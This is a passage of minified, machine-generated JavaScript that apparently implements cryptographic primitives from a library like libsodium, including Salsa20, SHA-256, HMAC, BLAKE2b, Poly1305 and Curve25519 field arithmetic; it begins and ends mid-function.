n=0,A=0,i=0,o=0,a=0,h=0,g=0,u=0,l=0,f=0,p=0,d=0,I=0,y=0,C=0,m=0,B=0,E=0,w=0,v=0;for(n=1797285236,g=2036477234,u=857760878,A=1634760805,i=c[e+12|0]|c[e+13|0]<<8|c[e+14|0]<<16|c[e+15|0]<<24,a=c[e+8|0]|c[e+9|0]<<8|c[e+10|0]<<16|c[e+11|0]<<24,o=c[e+4|0]|c[e+5|0]<<8|c[e+6|0]<<16|c[e+7|0]<<24,C=c[r+28|0]|c[r+29|0]<<8|c[r+30|0]<<16|c[r+31|0]<<24,y=c[r+24|0]|c[r+25|0]<<8|c[r+26|0]<<16|c[r+27|0]<<24,m=20,d=c[r+20|0]|c[r+21|0]<<8|c[r+22|0]<<16|c[r+23|0]<<24,I=c[r+16|0]|c[r+17|0]<<8|c[r+18|0]<<16|c[r+19|0]<<24,l=c[r+12|0]|c[r+13|0]<<8|c[r+14|0]<<16|c[r+15|0]<<24,f=c[r+8|0]|c[r+9|0]<<8|c[r+10|0]<<16|c[r+11|0]<<24,p=c[r+4|0]|c[r+5|0]<<8|c[r+6|0]<<16|c[r+7|0]<<24,e=c[0|e]|c[e+1|0]<<8|c[e+2|0]<<16|c[e+3|0]<<24,r=c[0|r]|c[r+1|0]<<8|c[r+2|0]<<16|c[r+3|0]<<24;h=Gt(r+u|0,7)^i,B=Gt(h+u|0,9)^y,l=Gt(A+d|0,7)^l,E=Gt(l+A|0,9)^a,w=Gt(E+l|0,13)^d,f=Gt(n+I|0,7)^f,o=Gt(f+n|0,9)^o,a=Gt(o+f|0,13)^I,n=Gt(o+a|0,18)^n,i=Gt(e+g|0,7)^C,d=w^Gt(n+i|0,7),y=B^Gt(d+n|0,9),C=Gt(d+y|0,13)^i,n=Gt(y+C|0,18)^n,p=Gt(i+g|0,9)^p,v=Gt(p+i|0,13)^e,e=Gt(v+p|0,18)^g,I=Gt(e+h|0,7)^a,a=Gt(I+e|0,9)^E,i=Gt(a+I|0,13)^h,g=Gt(i+a|0,18)^e,h=Gt(h+B|0,13)^r,r=Gt(h+B|0,18)^u,e=Gt(r+l|0,7)^v,o=Gt(e+r|0,9)^o,l=Gt(e+o|0,13)^l,u=Gt(o+l|0,18)^r,A=Gt(E+w|0,18)^A,r=Gt(A+f|0,7)^h,p=Gt(r+A|0,9)^p,f=Gt(r+p|0,13)^f,A=Gt(p+f|0,18)^A,h=m>>>0>2,m=m-2|0,h;);return s[0|t]=A,s[t+1|0]=A>>>8,s[t+2|0]=A>>>16,s[t+3|0]=A>>>24,s[t+28|0]=i,s[t+29|0]=i>>>8,s[t+30|0]=i>>>16,s[t+31|0]=i>>>24,s[t+24|0]=a,s[t+25|0]=a>>>8,s[t+26|0]=a>>>16,s[t+27|0]=a>>>24,s[t+20|0]=o,s[t+21|0]=o>>>8,s[t+22|0]=o>>>16,s[t+23|0]=o>>>24,s[t+16|0]=e,s[t+17|0]=e>>>8,s[t+18|0]=e>>>16,s[t+19|0]=e>>>24,s[t+12|0]=n,s[t+13|0]=n>>>8,s[t+14|0]=n>>>16,s[t+15|0]=n>>>24,s[t+8|0]=g,s[t+9|0]=g>>>8,s[t+10|0]=g>>>16,s[t+11|0]=g>>>24,s[t+4|0]=u,s[t+5|0]=u>>>8,s[t+6|0]=u>>>16,s[t+7|0]=u>>>24,0}function Y(t,e){var r,n,A=0,i=0,o=0,c=0;I=r=I-288|0,i=40+((A=a[t+32>>2]>>>3&63)+t|0)|0,A>>>0>=56?(Mt(i,34224,64-A|0),Q(t,t+40|0,r,r+256|0),a[t+88>>2]=0,a[t+92>>2]=0,a[t+80>>2]=0,a[t+84>>2]=0,a[t+72>>2]=0,a[t+76>>2]=0,a[(A=t- -64|0)>>2]=0,a[A+4>>2]=0,a[t+56>>2]=0,a[t+60>>2]=0,a[t+48>>2]=0,a[t+52>>2]=0,a[t+40>>2]=0,a[t+44>>2]=0):Mt(i,34224,56-A|0),o=(A=16711680&(i=a[t+32>>2]))>>>8|0,c=A<<24,n=(A=-16777216&i)>>>24|0,A=(c|=A<<8)|-16777216&((255&(A=a[t+36>>2]))<<24|i>>>8)|16711680&((16777215&A)<<8|i>>>24)|A>>>8&65280|A>>>24,s[t+96|0]=A,s[t+97|0]=A>>>8,s[t+98|0]=A>>>16,s[t+99|0]=A>>>24,A=(A=o|n|i<<24|(65280&i)<<8)|(o=0)|o,s[t+100|0]=A,s[t+101|0]=A>>>8,s[t+102|0]=A>>>16,s[t+103|0]=A>>>24,Q(t,t+40|0,r,r+256|0),A=(A=a[t>>2])<<24|(65280&A)<<8|A>>>8&65280|A>>>24,s[0|e]=A,s[e+1|0]=A>>>8,s[e+2|0]=A>>>16,s[e+3|0]=A>>>24,A=(A=a[t+4>>2])<<24|(65280&A)<<8|A>>>8&65280|A>>>24,s[e+4|0]=A,s[e+5|0]=A>>>8,s[e+6|0]=A>>>16,s[e+7|0]=A>>>24,A=(A=a[t+8>>2])<<24|(65280&A)<<8|A>>>8&65280|A>>>24,s[e+8|0]=A,s[e+9|0]=A>>>8,s[e+10|0]=A>>>16,s[e+11|0]=A>>>24,A=(A=a[t+12>>2])<<24|(65280&A)<<8|A>>>8&65280|A>>>24,s[e+12|0]=A,s[e+13|0]=A>>>8,s[e+14|0]=A>>>16,s[e+15|0]=A>>>24,A=(A=a[t+16>>2])<<24|(65280&A)<<8|A>>>8&65280|A>>>24,s[e+16|0]=A,s[e+17|0]=A>>>8,s[e+18|0]=A>>>16,s[e+19|0]=A>>>24,A=(A=a[t+20>>2])<<24|(65280&A)<<8|A>>>8&65280|A>>>24,s[e+20|0]=A,s[e+21|0]=A>>>8,s[e+22|0]=A>>>16,s[e+23|0]=A>>>24,A=(A=a[t+24>>2])<<24|(65280&A)<<8|A>>>8&65280|A>>>24,s[e+24|0]=A,s[e+25|0]=A>>>8,s[e+26|0]=A>>>16,s[e+27|0]=A>>>24,A=(A=a[t+28>>2])<<24|(65280&A)<<8|A>>>8&65280|A>>>24,s[e+28|0]=A,s[e+29|0]=A>>>8,s[e+30|0]=A>>>16,s[e+31|0]=A>>>24,oe(r,288),oe(t,104),I=r+288|0}function K(t,e,r){var n,A=0,i=0,o=0,h=0,g=0,u=0,l=0,f=0,p=0,d=0,y=0,C=0;if(I=n=I-288|0,r)if(u=(A=a[t+36>>2])+(r>>>29|0)|0,p=(o=a[t+32>>2])+(h=r<<3)|0,a[t+32>>2]=p,a[t+36>>2]=h>>>0>p>>>0?u+1|0:u,!0&(h=64-(u=63&((7&A)<<29|o>>>3))|0)>>>0<=r>>>0){if(A=0,o=0,(63^u)>>>0>=3)for(C=124&h,p=t+40|0;s[(A+u|0)+p|0]=c[e+A|0],s[(u+(y=1|A)|0)+p|0]=c[e+y|0],s[(u+(y=2|A)|0)+p|0]=c[e+y|0],s[(u+(y=3|A)|0)+p|0]=c[e+y|0],o=(A=A+4|0)>>>0<4?o+1|0:o,(i=(d=d+4|0)>>>0<4?i+1|0:i)|(0|d)!=(0|C););if(i=3&h)for(;s[40+((A+u|0)+t|0)|0]=c[e+A|0],o=(A=A+1|0)?o:o+1|0,(l=(f=f+1|0)?l:l+1|0)|(0|i)!=(0|f););if(Q(t,t+40|0,n,l=n+256|0),e=e+h|0,!(i=0-((r>>>0>>0)+g|0)|0)&(r=r-h|0)>>>0>63|i)for(;Q(t,e,n,l),e=e- -64|0,i=i-1|0,!(i=(r=r+-64|0)>>>0<4294967232?i+1|0:i)&r>>>0>63|i;);if(r|i){if(d=3&r,f=0,l=0,A=0,o=0,!i&r>>>0>=4|i)for(p=-4&r,u=i,h=t+40|0,r=0,i=0;s[A+h|0]=c[e+A|0],s[(g=1|A)+h|0]=c[e+g|0],s[(g=2|A)+h|0]=c[e+g|0],s[(g=3|A)+h|0]=c[e+g|0],o=(A=A+4|0)>>>0<4?o+1|0:o,(0|(r=r+4|0))!=(0|p)|(0|(i=r>>>0<4?i+1|0:i))!=(0|u););if(d)for(;s[40+(t+A|0)|0]=c[e+A|0],o=(A=A+1|0)?o:o+1|0,(l=(f=f+1|0)?l:l+1|0)|(0|f)!=(0|d););}oe(n,288)}else{if(A=0,o=0,r>>>0>=4)for(p=-4&r,h=t+40|0;s[(A+u|0)+h|0]=c[e+A|0],s[(u+(g=1|A)|0)+h|0]=c[e+g|0],s[(u+(g=2|A)|0)+h|0]=c[e+g|0],s[(u+(g=3|A)|0)+h|0]=c[e+g|0],o=(A=A+4|0)>>>0<4?o+1|0:o,(i=(d=d+4|0)>>>0<4?i+1|0:i)|(0|p)!=(0|d););if(r&=3)for(;s[40+((A+u|0)+t|0)|0]=c[e+A|0],o=(A=A+1|0)?o:o+1|0,(l=(f=f+1|0)?l:l+1|0)|(0|r)!=(0|f););}I=n+288|0}function J(t,e,r){var n,A=0,i=0,o=0,h=0,g=0,u=0,l=0,f=0;if(I=n=I-96|0,r>>>0>=65&&(wt(t),K(t,e,r),Y(t,n),r=32,e=n),wt(t),a[n+88>>2]=909522486,a[n+92>>2]=909522486,a[n+80>>2]=909522486,a[n+84>>2]=909522486,a[n+72>>2]=909522486,a[n+76>>2]=909522486,a[(o=l=n- -64|0)>>2]=909522486,a[o+4>>2]=909522486,a[n+56>>2]=909522486,a[n+60>>2]=909522486,a[n+48>>2]=909522486,a[n+52>>2]=909522486,a[n+40>>2]=909522486,a[n+44>>2]=909522486,a[n+32>>2]=909522486,a[n+36>>2]=909522486,r){if(r>>>0>=4)for(h=124&r;s[0|(i=(o=n+32|0)+A|0)]=c[0|i]^c[e+A|0],s[0|(f=(i=1|A)+o|0)]=c[0|f]^c[e+i|0],s[0|(f=(i=2|A)+o|0)]=c[0|f]^c[e+i|0],s[0|(i=(i=o)+(o=3|A)|0)]=c[0|i]^c[e+o|0],A=A+4|0,(0|h)!=(0|(g=g+4|0)););if(g=3&r)for(;s[0|(o=(n+32|0)+A|0)]=c[0|o]^c[e+A|0],A=A+1|0,(0|g)!=(0|(u=u+1|0)););}if(K(t,n+32|0,64),wt(o=t+104|0),a[n+88>>2]=1549556828,a[n+92>>2]=1549556828,a[n+80>>2]=1549556828,a[n+84>>2]=1549556828,a[n+72>>2]=1549556828,a[n+76>>2]=1549556828,a[l>>2]=1549556828,a[l+4>>2]=1549556828,a[n+56>>2]=1549556828,a[n+60>>2]=1549556828,a[n+48>>2]=1549556828,a[n+52>>2]=1549556828,a[n+40>>2]=1549556828,a[n+44>>2]=1549556828,a[n+32>>2]=1549556828,a[n+36>>2]=1549556828,r){if(u=0,A=0,r>>>0>=4)for(l=124&r,g=0;s[0|(h=(t=n+32|0)+A|0)]=c[0|h]^c[e+A|0],s[0|(i=(h=1|A)+t|0)]=c[0|i]^c[e+h|0],s[0|(i=(h=2|A)+t|0)]=c[0|i]^c[e+h|0],s[0|(h=(i=t)+(t=3|A)|0)]=c[0|h]^c[t+e|0],A=A+4|0,(0|l)!=(0|(g=g+4|0)););if(t=3&r)for(;s[0|(r=(n+32|0)+A|0)]=c[0|r]^c[e+A|0],A=A+1|0,(0|t)!=(0|(u=u+1|0)););}return K(o,t=n+32|0,64),oe(t,64),oe(n,32),I=n+96|0,0}function j(t,e,r,n,A,o,s){var c=0,h=0,g=0,u=0,l=0,f=0,p=0;if(e-65>>>0<4294967232|s>>>0>64)t=-1;else{f=c=I,I=c=c-512&-64;t:{e:if(!(!(!(n|A)|r)|!t|((h=255&e)-65&255)>>>0<=191|!(!(e=255&s)||o)|e>>>0>=65)){if(e){if(!o)break e;xt(c- -64|0,0,293),a[c+56>>2]=327033209,a[c+60>>2]=1541459225,a[c+48>>2]=-79577749,a[c+52>>2]=528734635,a[c+40>>2]=725511199,a[c+44>>2]=-1694144372,a[c+32>>2]=-1377402159,a[c+36>>2]=1359893119,a[c+24>>2]=1595750129,a[c+28>>2]=-1521486534,a[c+16>>2]=-23791573,a[c+20>>2]=1013904242,a[c+8>>2]=-2067093701,a[c+12>>2]=-1150833019,a[c>>2]=-222443256^(e<<8|h),a[c+4>>2]=e>>>24^1779033703,xt((s=c+384|0)+e|0,0,128-e|0),Mt(s,o,e),Mt(c+96|0,s,128),a[c+352>>2]=128,oe(s,128),e=128}else xt(c- -64|0,0,293),a[c+56>>2]=327033209,a[c+60>>2]=1541459225,a[c+48>>2]=-79577749,a[c+52>>2]=528734635,a[c+40>>2]=725511199,a[c+44>>2]=-1694144372,a[c+32>>2]=-1377402159,a[c+36>>2]=1359893119,a[c+24>>2]=1595750129,a[c+28>>2]=-1521486534,a[c+16>>2]=-23791573,a[c+20>>2]=1013904242,a[c+8>>2]=-2067093701,a[c+12>>2]=-1150833019,a[c>>2]=-222443256^h,a[c+4>>2]=1779033703,e=0;r:if(n|A)for(p=c+224|0,g=c+96|0;;){if(s=e+g|0,!A&n>>>0<=(o=256-e|0)>>>0){Mt(s,r,n),a[c+352>>2]=n+a[c+352>>2];break r}if(Mt(s,r,o),a[c+352>>2]=o+a[c+352>>2],u=e=a[c+68>>2],e=(l=(s=a[c+64>>2])+128|0)>>>0<128?e+1|0:e,a[c+64>>2]=l,a[c+68>>2]=e,e=a[c+76>>2],e=(u=s=-1==(0|u)&s>>>0>4294967167)>>>0>(s=s+a[c+72>>2]|0)>>>0?e+1|0:e,a[c+72>>2]=s,a[c+76>>2]=e,C(c,g),Mt(g,p,128),e=a[c+352>>2]-128|0,a[c+352>>2]=e,r=r+o|0,!((A=A-(n>>>0>>0)|0)|(n=n-o|0)))break}S(c,t,h),I=f;break t}Kt(),i()}t=0}return t}function z(t,e,r,n){var A=0,i=0,o=0,h=0,g=0,u=0,l=0,f=0,p=0,d=0,I=0,y=0;t:{if((o=a[t+56>>2])|(A=a[t+60>>2])){if(p=i=16-o|0,g=(i=(0|(h=0-((o>>>0>16)+A|0)|0))==(0|n)&r>>>0>i>>>0|n>>>0>h>>>0)?p:r,p=i=i?h:n,i|g){if(i=0,o=0,!p&g>>>0>=4|p)for(u=-4&g,h=t- -64|0;A=i+a[t+56>>2]|0,s[A+h|0]=c[e+i|0],A=(d=1|i)+a[t+56>>2]|0,s[A+h|0]=c[e+d|0],A=(d=2|i)+a[t+56>>2]|0,s[A+h|0]=c[e+d|0],A=(d=3|i)+a[t+56>>2]|0,s[A+h|0]=c[e+d|0],A=o,o=(i=i+4|0)>>>0<4?A+1|0:A,A=l,l=A=(f=f+4|0)>>>0<4?A+1|0:A,(0|f)!=(0|u)|(0|p)!=(0|A););if(h=A=0,A|(l=3&g))for(;f=i+a[t+56>>2]|0,s[(t+f|0)- -64|0]=c[e+i|0],o=(i=i+1|0)?o:o+1|0,A=y,y=A=(I=I+1|0)?A:A+1|0,(0|l)!=(0|I)|(0|h)!=(0|A););o=a[t+56>>2],A=a[t+60>>2]}if(A=A+p|0,A=(o=o+g|0)>>>0>>0?A+1|0:A,a[t+56>>2]=o,a[t+60>>2]=A,!A&o>>>0<16)break t;x(t,t- -64|0,16,0),a[t+56>>2]=0,a[t+60>>2]=0,r=(o=r)-g|0,n=n-((o>>>0>>0)+p|0)|0,e=e+g|0}if(!n&r>>>0>=16|n&&(x(t,e,o=-16&r,n),r&=15,n=0,e=e+o|0),r|n){if(I=0,y=0,i=0,o=0,!n&r>>>0>=4|n)for(g=12&r,p=0,h=t- -64|0,f=0,l=0;A=i+a[t+56>>2]|0,s[A+h|0]=c[e+i|0],A=(u=1|i)+a[t+56>>2]|0,s[A+h|0]=c[e+u|0],A=(u=2|i)+a[t+56>>2]|0,s[A+h|0]=c[e+u|0],A=(u=3|i)+a[t+56>>2]|0,s[A+h|0]=c[e+u|0],o=(i=i+4|0)>>>0<4?o+1|0:o,A=l,l=A=(f=f+4|0)>>>0<4?A+1|0:A,(0|g)!=(0|f)|(0|p)!=(0|A););if(h=A=0,A|(l=3&r))for(;A=i+a[t+56>>2]|0,s[(t+A|0)- -64|0]=c[e+i|0],o=(i=i+1|0)?o:o+1|0,A=y,y=A=(I=I+1|0)?A:A+1|0,(0|l)!=(0|I)|(0|h)!=(0|A););o=n+a[t+60>>2]|0,o=(e=r+a[t+56>>2]|0)>>>0>>0?o+1|0:o,a[t+56>>2]=e,a[t+60>>2]=o}}}function q(t,e,r){var n,A=0,i=0,o=0,s=0,c=0,h=0,g=0,u=0,l=0,f=0,p=0,d=0,I=0,y=0,C=0,m=0,B=0,E=0,w=0;d=a[e+4>>2],A=a[t+4>>2],I=a[e+8>>2],i=a[t+8>>2],y=a[e+12>>2],o=a[t+12>>2],C=a[e+16>>2],s=a[t+16>>2],m=a[e+20>>2],c=a[t+20>>2],B=a[e+24>>2],h=a[t+24>>2],f=a[e+28>>2],g=a[t+28>>2],E=a[e+32>>2],u=a[t+32>>2],w=a[e+36>>2],l=a[t+36>>2],r=0-r|0,p=a[t>>2],a[t>>2]=r&(p^a[e>>2])^p,a[t+36>>2]=l^r&(l^w),a[t+32>>2]=u^r&(u^E),a[t+28>>2]=g^r&(g^f),a[t+24>>2]=h^r&(h^B),a[t+20>>2]=c^r&(c^m),a[t+16>>2]=s^r&(s^C),a[t+12>>2]=o^r&(o^y),a[t+8>>2]=i^r&(i^I),a[t+4>>2]=A^r&(A^d),A=a[t+40>>2],d=a[e+40>>2],i=a[t+44>>2],I=a[e+44>>2],o=a[t+48>>2],y=a[e+48>>2],s=a[t+52>>2],C=a[e+52>>2],c=a[t+56>>2],m=a[e+56>>2],h=a[t+60>>2],B=a[e+60>>2],g=a[(f=t- -64|0)>>2],E=a[e- -64>>2],u=a[t+68>>2],w=a[e+68>>2],l=a[t+72>>2],p=a[e+72>>2],n=a[t+76>>2],a[t+76>>2]=n^r&(a[e+76>>2]^n),a[t+72>>2]=l^r&(l^p),a[t+68>>2]=u^r&(u^w),a[f>>2]=g^r&(g^E),a[t+60>>2]=h^r&(h^B),a[t+56>>2]=c^r&(c^m),a[t+52>>2]=s^r&(s^C),a[t+48>>2]=o^r&(o^y),a[t+44>>2]=i^r&(i^I),a[t+40>>2]=A^r&(A^d),A=a[t+80>>2],d=a[e+80>>2],i=a[t+84>>2],I=a[e+84>>2],o=a[t+88>>2],y=a[e+88>>2],s=a[t+92>>2],C=a[e+92>>2],c=a[t+96>>2],m=a[e+96>>2],h=a[t+100>>2],B=a[e+100>>2],g=a[t+104>>2],f=a[e+104>>2],u=a[t+108>>2],E=a[e+108>>2],l=a[t+112>>2],w=a[e+112>>2],p=a[e+116>>2],e=a[t+116>>2],a[t+116>>2]=r&(p^e)^e,a[t+112>>2]=l^r&(l^w),a[t+108>>2]=u^r&(u^E),a[t+104>>2]=g^r&(g^f),a[t+100>>2]=h^r&(h^B),a[t+96>>2]=c^r&(c^m),a[t+92>>2]=s^r&(s^C),a[t+88>>2]=o^r&(o^y),a[t+84>>2]=i^r&(i^I),a[t+80>>2]=A^r&(A^d)}function X(t,e){var r,n,A=0;for(I=r=I-192|0,b(n=r+144|0,e),b(A=r+96|0,n),b(A,A),v(A,e,A),v(n,n,A),b(e=r+48|0,n),v(A,A,e),b(e,A),b(e,e),b(e,e),b(e,e),b(e,e),v(A,e,A),b(e,A),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),v(e,e,A),b(r,e),b(r,r),b(r,r),b(r,r),b(r,r),b(r,r),b(r,r),b(r,r),b(r,r),b(r,r),b(r,r),b(r,r),b(r,r),b(r,r),b(r,r),b(r,r),b(r,r),b(r,r),b(r,r),b(r,r),v(e,r,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),v(A,e,A),b(e,A),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),v(e,e,A),b(r,e),e=1;b(r,r),100!=(0|(e=e+1|0)););v(e=r+48|0,r,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),b(e,e),v(A=r+96|0,e,A),b(A,A),b(A,A),b(A,A),b(A,A),b(A,A),v(t,A,r+144|0),I=r+192|0}function V(t,e,r){var n,A,i,o,s,c,h,u,l=0;I=n=I-128|0,a[t>>2]=1,a[t+4>>2]=0,a[t+8>>2]=0,a[t+12>>2]=0,a[t+16>>2]=0,a[t+20>>2]=0,a[t+24>>2]=0,a[t+28>>2]=0,a[t+32>>2]=0,a[t+36>>2]=0,a[t+40>>2]=1,xt(t+44|0,0,76),q(t,e=g(e,960)+2704|0,(255&(1^(l=r-((r>>31&r)<<1)|0)))-1>>>31|0),q(t,e+120|0,(255&(2^l))-1>>>31|0),q(t,e+240|0,(255&(3^l))-1>>>31|0),q(t,e+360|0,(255&(4^l))-1>>>31|0),q(t,e+480|0,(255&(5^l))-1>>>31|0),q(t,e+600|0,(255&(6^l))-1>>>31|0),q(t,e+720|0,(255&(7^l))-1>>>31|0),q(t,e+840|0,(255&(8^l))-1>>>31|0),e=a[t+76>>2],a[n+40>>2]=a[t+72>>2],a[n+44>>2]=e,l=a[4+(e=t- -64|0)>>2],a[n+32>>2]=a[e>>2],a[n+36>>2]=l,e=a[t+60>>2],a[n+24>>2]=a[t+56>>2],a[n+28>>2]=e,e=a[t+52>>2],a[n+16>>2]=a[t+48>>2],a[n+20>>2]=e,e=a[t+44>>2],a[n+8>>2]=a[t+40>>2],a[n+12>>2]=e,e=a[t+12>>2],a[n+56>>2]=a[t+8>>2],a[n+60>>2]=e,l=a[t+20>>2],a[(e=n- -64|0)>>2]=a[t+16>>2],a[e+4>>2]=l,e=a[t+28>>2],a[n+72>>2]=a[t+24>>2],a[n+76>>2]=e,e=a[t+36>>2],a[n+80>>2]=a[t+32>>2],a[n+84>>2]=e,e=a[t+4>>2],a[n+48>>2]=a[t>>2],a[n+52>>2]=e,e=a[t+80>>2],l=a[t+84>>2],A=a[t+88>>2],i=a[t+92>>2],o=a[t+96>>2],s=a[t+100>>2],c=a[t+104>>2],h=a[t+108>>2],u=a[t+112>>2],a[n+124>>2]=0-a[t+116>>2],a[n+120>>2]=0-u,a[n+116>>2]=0-h,a[n+112>>2]=0-c,a[n+108>>2]=0-s,a[n+104>>2]=0-o,a[n+100>>2]=0-i,a[n+96>>2]=0-A,a[n+92>>2]=0-l,a[n+88>>2]=0-e,q(t,n+8|0,(128&r)>>>7|0),I=n+128|0}function W(t,e,r,n){var A=0,i=0,o=0,a=0,h=0,g=0,u=0;if(r|n)t:for(u=t+224|0,h=t+96|0,i=c[t+352|0]|c[t+353|0]<<8|c[t+354|0]<<16|c[t+355|0]<<24;;){if(A=i+h|0,!n&r>>>0<=(o=256-i|0)>>>0){Mt(A,e,r),e=r+(c[t+352|0]|c[t+353|0]<<8|c[t+354|0]<<16|c[t+355|0]<<24)|0,s[t+352|0]=e,s[t+353|0]=e>>>8,s[t+354|0]=e>>>16,s[t+355|0]=e>>>24;break t}if(Mt(A,e,o),A=(c[t+352|0]|c[t+353|0]<<8|c[t+354|0]<<16|c[t+355|0]<<24)+o|0,s[t+352|0]=A,s[t+353|0]=A>>>8,s[t+354|0]=A>>>16,s[t+355|0]=A>>>24,g=i=c[t+68|0]|c[t+69|0]<<8|c[t+70|0]<<16|c[t+71|0]<<24,i=(a=128+(A=c[t+64|0]|c[t+65|0]<<8|c[t+66|0]<<16|c[t+67|0]<<24)|0)>>>0<128?i+1|0:i,s[t+64|0]=a,s[t+65|0]=a>>>8,s[t+66|0]=a>>>16,s[t+67|0]=a>>>24,s[t+68|0]=i,s[t+69|0]=i>>>8,s[t+70|0]=i>>>16,s[t+71|0]=i>>>24,i=c[t+76|0]|c[t+77|0]<<8|c[t+78|0]<<16|c[t+79|0]<<24,i=(g=A=-1==(0|g)&A>>>0>4294967167)>>>0>(A=A+(c[t+72|0]|c[t+73|0]<<8|c[t+74|0]<<16|c[t+75|0]<<24)|0)>>>0?i+1|0:i,s[t+72|0]=A,s[t+73|0]=A>>>8,s[t+74|0]=A>>>16,s[t+75|0]=A>>>24,s[t+76|0]=i,s[t+77|0]=i>>>8,s[t+78|0]=i>>>16,s[t+79|0]=i>>>24,C(t,h),Mt(h,u,128),A=i=(c[t+352|0]|c[t+353|0]<<8|c[t+354|0]<<16|c[t+355|0]<<24)-128|0,s[t+352|0]=A,s[t+353|0]=A>>>8,s[t+354|0]=A>>>16,s[t+355|0]=A>>>24,e=e+o|0,!((n=n-(r>>>0>>0)|0)|(r=r-o|0)))break}return 0}function Z(t,e){var r,n=0,A=0,i=0,o=0,s=0,c=0,h=0,g=0,u=0,l=0,f=0,p=0,d=0,I=0,y=0,C=0,m=0,B=0;n=a[e+40>>2],i=a[e+4>>2],o=a[e+44>>2],s=a[e+8>>2],c=a[e+48>>2],h=a[e+12>>2],g=a[e+52>>2],u=a[e+16>>2],l=a[e+56>>2],f=a[e+20>>2],p=a[e+60>>2],d=a[e+24>>2],I=a[(A=e- -64|0)>>2],y=a[e+28>>2],C=a[e+68>>2],m=a[e+32>>2],B=a[e+72>>2],r=a[e>>2],a[t+36>>2]=a[e+36>>2]+a[e+76>>2],a[t+32>>2]=m+B,a[t+28>>2]=y+C,a[t+24>>2]=d+I,a[t+20>>2]=f+p,a[t+16>>2]=u+l,a[t+12>>2]=h+g,a[t+8>>2]=s+c,a[t+4>>2]=i+o,a[t>>2]=n+r,n=a[e+40>>2],i=a[e+4>>2],o=a[e+44>>2],s=a[e+8>>2],c=a[e+48>>2],h=a[e+12>>2],g=a[e+52>>2],u=a[e+16>>2],l=a[e+56>>2],f=a[e+20>>2],p=a[e+60>>2],d=a[e+24>>2],A=a[A>>2],I=a[e+28>>2],y=a[e+68>>2],C=a[e+32>>2],m=a[e+72>>2],B=a[e>>2],a[t+76>>2]=a[e+76>>2]-a[e+36>>2],a[t+72>>2]=m-C,a[t+68>>2]=y-I,a[t- -64>>2]=A-d,a[t+60>>2]=p-f,a[t+56>>2]=l-u,a[t+52>>2]=g-h,a[t+48>>2]=c-s,a[t+44>>2]=o-i,a[t+40>>2]=n-B,n=a[e+84>>2],a[t+80>>2]=a[e+80>>2],a[t+84>>2]=n,n=a[e+92>>2],a[t+88>>2]=a[e+88>>2],a[t+92>>2]=n,n=a[e+100>>2],a[t+96>>2]=a[e+96>>2],a[t+100>>2]=n,n=a[e+108>>2],a[t+104>>2]=a[e+104>>2],a[t+108>>2]=n,n=a[e+116>>2],a[t+112>>2]=a[e+112>>2],a[t+116>>2]=n,v(t+120|0,e+120|0,1440)}function $(t,e){var r,n,A,i,o,c=0,h=0,u=0,l=0,f=0,p=0,d=0,I=0,y=0,C=0;(c=a[t+56>>2])|(h=a[t+60>>2])&&(s[(l=t- -64|0)+c|0]=1,!((C=c+1|0)?h:h+1|0)&C>>>0<=15&&xt(65+(t+c|0)|0,0,15-c|0),s[t+80|0]=1,x(t,l,16,0)),C=a[t+52>>2],I=a[t+48>>2],l=a[t+44>>2],c=a[t+24>>2],f=a[t+28>>2]+(c>>>26|0)|0,u=a[t+32>>2]+(f>>>26|0)|0,r=a[t+36>>2]+(u>>>26|0)|0,h=(d=(c=(c=(67108863&c)+((p=a[t+20>>2]+g(r>>>26|0,5)|0)>>>26|0)|0)&(f=(u=(o=(67108863&r)+((i=(n=67108863&u)+((A=(y=67108863&f)+((p=c+((h=5+(d=67108863&p)|0)>>>26|0)|0)>>>26|0)|0)>>>26|0)|0)>>>26|0)|0)-67108864|0)>>31)|p&(u=67108863&(p=(u>>>31|0)-1|0)))<<26|h&u|f&d)+a[t+40>>2]|0,s[0|e]=h,s[e+1|0]=h>>>8,s[e+2|0]=h>>>16,s[e+3|0]=h>>>24,d=h>>>0>>0,h=0,h=(c=(y=f&y|u&A)<<20|c>>>6)>>>0>(c=c+l|0)>>>0?1:h,h=(l=c)>>>0>(c=c+d|0)>>>0?h+1|0:h,s[e+4|0]=c,s[e+5|0]=c>>>8,s[e+6|0]=c>>>16,s[e+7|0]=c>>>24,c=0,l=(l=(u=f&n|u&i)<<14|y>>>12)>>>0>(I=l+I|0)>>>0?1:c,c=I,I=h,c=c+h|0,h=l,h=c>>>0>>0?h+1|0:h,s[e+8|0]=c,s[e+9|0]=c>>>8,s[e+10|0]=c>>>16,s[e+11|0]=c>>>24,h=(c=(c=(p&o|f&r)<<8|u>>>18)+C|0)+h|0,s[e+12|0]=h,s[e+13|0]=h>>>8,s[e+14|0]=h>>>16,s[e+15|0]=h>>>24,oe(t,88)}function tt(t,e,r){var n,A=0;return 